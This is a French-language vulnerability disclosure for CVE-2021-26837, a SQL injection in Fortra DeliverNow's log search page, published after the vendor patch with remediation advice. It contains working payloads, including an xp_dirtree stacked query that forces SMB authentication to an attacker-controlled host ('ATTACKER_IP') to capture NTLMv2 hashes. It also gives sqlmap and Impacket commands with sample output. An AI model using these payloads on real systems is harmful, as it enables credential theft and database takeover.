
CVE-2021-26837 - Injection SQL dans le paramètre SearchTextbox de HelpSystems/Fortra DeliverNow. Payloads, requêtes annotées et preuves. Corrigé dans la version 1.2.18.
Injection SQL dans HelpSystems / Fortra DeliverNow
Le paramètre SearchTextbox de la page de recherche de journaux de DeliverNow (/LogGrid.aspx) est
concaténé directement dans une requête SQL Server, sans paramétrage ni
validation côté serveur. L'application renvoyait également les erreurs d'analyse SQL Server
à l'utilisateur, ce qui est ainsi que le bug s'est révélé au départ.
La connexion à la base de données s'exécutait en tant que sa, l'injection a donc hérité des droits sysadmin complets sur
l'instance. Cela a suffi pour appeler master.dbo.xp_dirtree sur un chemin UNC
contrôlé par l'attaquant et forcer le compte de service SQL Server à s'authentifier en sortie.
Découvert lors d'un test de pénétration interne. Corrigé par l'éditeur dans DeliverNow 1.2.18 et publié sous la référence CVE-2021-26837.
Découvert et signalé par Sedric Louissaint de Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| Produit | DeliverNow (HelpSystems, désormais Fortra) |
| Versions affectées | antérieures à 1.2.18 (l'avis d'origine listait 1.2.18 et versions antérieures) |
| Faiblesse | CWE-89 : Injection SQL |
| CVSS 3.1 (NVD) | 9.8 Critique CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (chercheur) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Publié | 2023-09-19 |
| Testé sur | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
Description NVD :
La vulnérabilité d'injection SQL dans le paramètre SearchTextBox de Fortra (anciennement HelpSystems) DeliverNow avant la version 1.2.18, permet aux attaquants d'exécuter du code arbitraire, d'élever leurs privilèges et d'obtenir des informations sensibles.
POST /LogGrid.aspx, paramètre du corps SearchTextbox. Le formulaire est le contrôle de recherche de
la vue Journal de l'application. ddlFieldName sélectionne la colonne à rechercher
(Description dans les requêtes ci-dessous) et SearchTextbox contient le terme.
Un guillemet simple suffit pour le prouver :
blah'
La réponse affiche l'erreur d'analyse SQL Server directement dans la page :
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

La divulgation de cette erreur est une constatation en soi. Elle transforme une injection qui serait autrement aveugle en une injection entièrement interactive.
Comme la connexion s'exécute en tant que sa, master.dbo.xp_dirtree est accessible. En le pointant
vers un chemin UNC sur un hôte que vous contrôlez, le compte de service SQL Server s'authentifie
en sortie vers cet hôte via SMB :
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Requête complète dans poc/exploited-request.http, charges utiles dans
poc/payloads.sql.

Avec smbserver.py d'Impacket à l'écoute, le compte de service SQL Server de la cible
s'authentifie et divulgue un hash NTLMv2 :
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Le hash est ensuite disponible pour du cassage hors ligne ou pour un relais NTLM vers un autre hôte.
sqlmap confirme l'injection et le niveau de privilèges :
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa signifie que tous les hash de connexion de l'instance sont lisibles, et xp_cmdshell n'est qu'à
un appel sp_configure de l'exécution de commandes sur l'hôte.
Sur une instance de laboratoire que vous possédez ou sur laquelle vous êtes autorisé à tester :
http://<host>:1080/) et ouvrez la vue Journal.blah' dans la zone de recherche et validez. Une version vulnérable affiche l'erreur d'analyse SQL Server
dans la page.sudo smbserver.py c . -smb2support
xp_dirtree de poc/payloads.sql en remplaçant l'adresse par votre
propre IP. Une version vulnérable produit une authentification SMB entrante depuis
le compte de service SQL Server.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
Les hôtes et les hash dans les captures proviennent de l'engagement d'origine et sont morts depuis longtemps. Remplacez-les par votre propre adresse d'écoute lors de la reproduction.
sa. L'application a besoin d'un accès en lecture et en écriture à ses propres
tables. Elle n'a pas besoin des droits sysadmin, ni de xp_dirtree. Le principe du moindre privilège
n'aurait pas empêché l'injection mais l'aurait contenue.Corrigé par l'éditeur dans DeliverNow 1.2.18. Mettez à jour.
| Date | Événement |
|---|---|
| 2021 | Découvert lors d'un test de pénétration interne et signalé à HelpSystems |
| 2021 | Corrigé dans DeliverNow 1.2.18 |
| 2023-09-19 | CVE-2021-26837 publié dans la NVD, score 9.8 Critique |
Publié après la remédiation par l'éditeur, à des fins défensives et éducatives. Les charges utiles ici ciblent une version corrigée il y a des années. Ne les exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de tester.